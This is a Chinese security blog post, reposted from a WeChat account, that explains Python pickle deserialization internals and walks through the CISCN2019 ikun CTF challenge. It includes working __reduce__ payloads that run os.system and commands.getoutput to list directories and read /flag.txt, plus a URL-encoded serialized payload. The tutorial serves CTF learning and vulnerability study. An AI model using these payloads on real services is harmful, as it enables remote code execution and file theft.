Python0 Pickle反序列化漏洞

admin 2020年12月21日08:00:50评论129 views字数 4979阅读16分35秒阅读模式


Python0 Pickle反序列化漏洞

沙漏安全团队

欢迎真正热爱技术的你!

前言

刷题的时候做了一道[CISCN2019]ikun的题目,提示考察的知识点是Python Pickle,之前接触的都是有关PHP反序列化,这次就来好好学习一下Python Pickle反序列化漏洞。

基础知识

0x00:Pickle/CPickle

picklecPickle,作用和PHP的serialize与unserialize一样,两者只是实现的语言不同,一个是纯Python实现、另一个是C实现,函数调用基本相同,但cPickle库的性能更好,之后就以pickle库来进行演示。

0x01:Pickle库及函数

pickle是python语言的一个标准模块,实现了基本的数据序列化和反序列化。pickle模块是以二进制的形式序列化后保存到文件中(保存文件的后缀为.pkl),不能直接打开进行预览。

函数 说明
dumps 对象反序列化为bytes对象
dump 对象反序列化到文件对象,存入文件
loads 从bytes对象反序列化
load 对象反序列化,从文件中读取数据

先通过几个例子来看下这几个函数的作用:

dump/load

#序列化pickle.dump(obj, file, protocol=None,)obj表示要进行封装的对象(必填参数)file表示obj要写入的文件对象以二进制可写模式打开即wb(必填参数)#反序列化pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)file文件中读取封存后的对象以二进制可读模式打开即rb(必填参数)

(模仿Epicccal师傅的例子)

Python0 Pickle反序列化漏洞
在这里插入图片描述

dumps/loads

#序列化pickle.dumps(obj, protocol=None,*,fix_imports=True)dumps()方法不需要写入文件中,直接返回一个序列化的bytes对象。#反序列化pickle.loads(bytes_object, *,fix_imports=True, encoding="ASCII". errors="strict")loads()方法是直接从bytes对象中读取序列化的信息,而非从文件中读取。
Python0 Pickle反序列化漏洞
在这里插入图片描述

python2中以字符串的形式进行转换时,这些序列化的字符串是什么意思,又按照什么规则生成的,这就涉及到了PVM,因为它是Python序列化过程和反序列化过程中最根本的东西。

0x02:PVM的作用

对于Python而言,它可以直接从源代码运行程序。Python解释器会将源代码编译为字节码,然后将编译后的字节码转发到Python虚拟机中执行。总的来说,PVM的作用便是用来解释字节码的解释引擎。

0x03:PVM的执行流程

当运行Python程序时,PVM会执行两个步骤。

1.PVM会把源代码编译成字节码

字节码是Python特有的一种表现形式,不是二进制机器码,需要进一步编译才能被机器执行 . 如果 Python 进程在主机上有写入权限 , 那么它会把程序字节码保存为一个以 .pyc 为扩展名的文件 . 如果没有写入权限 , 则 Python 进程会在内存中生成字节码 , 在程序执行结束后被自动丢弃 .

1.Python进程会把编译好的字节码转发到PVM(Python虚拟机)中,PVM会循环迭代执行字节码指令,直到所有操作被完成。

0x04:PVM与Pickle模块的关系

Pickle是一门基于栈的编程语言 , 有不同的编写方式 , 其本质就是一个轻量级的 PVM .

这个轻量级的PVM由三部分组成及其功能如下:

  • 指令处理器( Instruction processor )

从数据流中读取操作码和参数 , 并对其进行解释处理 . 指令处理器会循环执行这个过程 , 不断改变 stackmemo 区域的值 .直到遇到 . 这个结束符号 。这时 , 最终停留在栈顶的的值将会被作为反序列化对象返回 。

  • 栈区( stack )

Python 的列表( list )实现 , 作为流数据处理过程中的暂存区 , 在不断的进出栈过程中完成对数据流的反序列化操作,并最终在栈顶生成反序列化的结果

  • 标签区( memo )

Python 的字典( dict )实现 , 可以看作是数据索引或者标记 , 为 PVM 的整个生命周期提供存储功能 .简单来说就是将反序列化完成的数据以 key-value 的形式储存在memo中,以便使用。

需要重点关注一下指令处理器可读的操作码,列出几个比较重要的:

1.c : 读取本行的内容作为模块名module, 读取下一行的内容作为对象名object,然后将 module.object 作为可调用对象压入到栈中2.( : 将一个标记对象压入到栈中 , 用于确定命令执行的位置 . 该标记常常搭配 t 指令一起使用 , 以便产生一个元组3.S : 后面跟字符串 , PVM会读取引号中的内容 , 直到遇见换行符 , 然后将读取到的内容压入到栈中4.t : 从栈中不断弹出数据 , 弹射顺序与压栈时相同 , 直到弹出左括号 . 此时弹出的内容形成了一个元组 , 然后 , 该元组会被压入栈中5.R : 将之前压入栈中的元组和可调用对象全部弹出 , 然后将该元组作为可调用参数的对象并执行该对象 。最后将结果压入到栈中6.. : 结束整个 Pickle 反序列化过程

这六个符号便是在Pickle序列化时最常用到的操作码,可以结合下hachp1师傅做的动图理解下

Python0 Pickle反序列化漏洞

反序列化分析

就结合上面所举的例子进行分析:

Python0 Pickle反序列化漏洞整个序列化的过程可以分为三个步骤

1.从对象中提权所有属性2.写入对象的所有模块名和类名3.写入对象所有属性的键值对

反序列化的过程就是序列化过程的逆过程。

0x06:Pickle/CPickle反序列化漏洞分析

反序列化漏洞出现在 __reduce__()魔法函数上,这一点和PHP中的__wakeup() 魔术方法类似,都是因为每当反序列化过程开始或者结束时 , 都会自动调用这类函数。而这恰好是反序列化漏洞经常出现的地方。

而且在反序列化过程中,因为编程语言需要根据反序列化字符串去解析出自己独特的语言数据结构,所以就必须要在内部把解析出来的结构去执行一下。如果在反序列化过程中出现问题,便可能直接造成RCE漏洞.

另外pickle.loads会解决import 问题,对于未引入的module会自动尝试import。那么也就是说整个python标准库的代码执行、命令执行函数都可以进行使用。

最后还是来看一下这个魔法函数

__reduce__()

官方文档如下:

Python0 Pickle反序列化漏洞
在这里插入图片描述

当 __reduce__() 函数返回一个元组时 , 第一个元素是一个可调用对象 , 这个对象会在创建对象时被调用 . 第二个元素是可调用对象的参数 , 同样是一个元组。这点跟我们上面提到的PVM中的R操作码功能相似,可以对比下:

将之前压入栈中的元组和可调用对象全部弹出 , 然后将该元组作为可调用参数的对象并执行该对象 。最后将结果压入到栈中 

事实上 , R操作码就是 __reduce__() 魔术函数的底层实现 . 而在反序列化过程结束的时候 , Python 进程会自动调用 __reduce__() 魔术方法 . 如果可以控制被调用函数的参数 , Python 进程就可以执行恶意代码 .

注意:

在python2中只有内置类才有__reduce__方法,即用class A(object)声明的类,而python3中已经默认都是内置类了

0x06:反序列化漏洞利用

漏洞可能出现的位置:

1.解析认证token、session的时候2.将对象Pickle后存储成磁盘文件3.将对象Pickle后在网络中传输4.参数传递给程序

命令执行

#模仿Epicccal师傅的例子import pickleimport osclass Test2(object):    def __reduce__(self):        #被调用函数的参数        cmd = "/usr/bin/id"         return (os.system,(cmd,))if __name__ == "__main__":    test = Test2()    #执行序列化操作    result1 = pickle.dumps(test)    #执行反序列化操作    result2 = pickle.loads(result1)# __reduce__()魔法方法的返回值:# return(os.system,(cmd,))# 1.满足返回一个元组,元组中有两个参数# 2.第一个参数是被调用函数 : os.system()# 3.第二个参数是一个元组:(cmd,),元组中被调用的参数 cmd# 4. 因此序列化时被解析执行的代码是 os.system("/usr/bin/id")
Python0 Pickle反序列化漏洞

题目训练

0x00:[CISCN2019 华北赛区 Day1 Web2]ikun

前面的步骤就不再详细描述了,这里直接从Pickle反序列化漏洞入手

settings.py文件中发现提示,unicode解码一下

Python0 Pickle反序列化漏洞
Python0 Pickle反序列化漏洞

观察源码发现后门在Admin.py

Python0 Pickle反序列化漏洞
self.render('form.html', res=p, member=1)这段代码的意思就是找到模板文件,进行渲染,从而显示页面

来观察一下form.html页面

Python0 Pickle反序列化漏洞

说明传入的是可以直接进行回显的,而且可以将自定义的类进行序列化和反序列化,因此存在Pickle反序列化漏洞,那我们就可以构造一个通过pickle.dumps序列化的payload,从而被解析读取flag或其他信息。

构造payload可以使用方法__reduce__(self),先要获取的flag文件的位置,然后进行读取

但需要注意几点:

#os.system和os.popen os.system 调用系统命令,完成后退出,返回结果是命令执行状态,一般是0os.popen() 无法读取程序执行的返回值

这两个函数只有以print输出时才会回显,如果是以return返回的就不会显示结果。

查了资料发现

Python0 Pickle反序列化漏洞

可以使用commands.getoutput()这个函数来进行代替,构造payload

# coding=utf8import pickleimport urllibimport commandsclass payload(object):    def __reduce__(self):        return (commands.getoutput,('ls /',))a = payload()print urllib.quote(pickle.dumps(a))#ccommands%0Agetoutput%0Ap0%0A%28S%27ls%20/%27%0Ap1%0Atp2%0ARp3%0A.
Python0 Pickle反序列化漏洞

发现flag.txt文件,那接下来就读取即可

return (commands.getoutput,('cat /flag.txt',))
Python0 Pickle反序列化漏洞

但很多时候需要一次执行多个函数或一次进行多个指令,就不能光用 __reduce__ 来解决问题,reduce一次只能执行一个函数,当exec被禁用时,就不能一次执行多条指令了。

参考博客

Epicccal师傅,原理写的太详细了,膜https://blog.csdn.net/u013008795/article/details/89790828 https://xz.aliyun.com/t/7436#toc-5 https://www.guildhab.top/?p=2178 https://www.cnblogs.com/jefree/p/4461979.htmlLetheSec [1]

引用链接

[1] LetheSec : https://blog.csdn.net/qq_42181428/article/details/103143526?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-3.channel_param&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-3.channel_param



Python0 Pickle反序列化漏洞       

沙漏安全团队

奋发努力

拼搏向上

本期编辑:bosoun_ho

▇ 扫码关注我们哦

本文始发于微信公众号(网络安全攻防训练营):Python0 Pickle反序列化漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年12月21日08:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Python0 Pickle反序列化漏洞http://cn-sec.com/archives/163455.html

发表评论

匿名网友 填写信息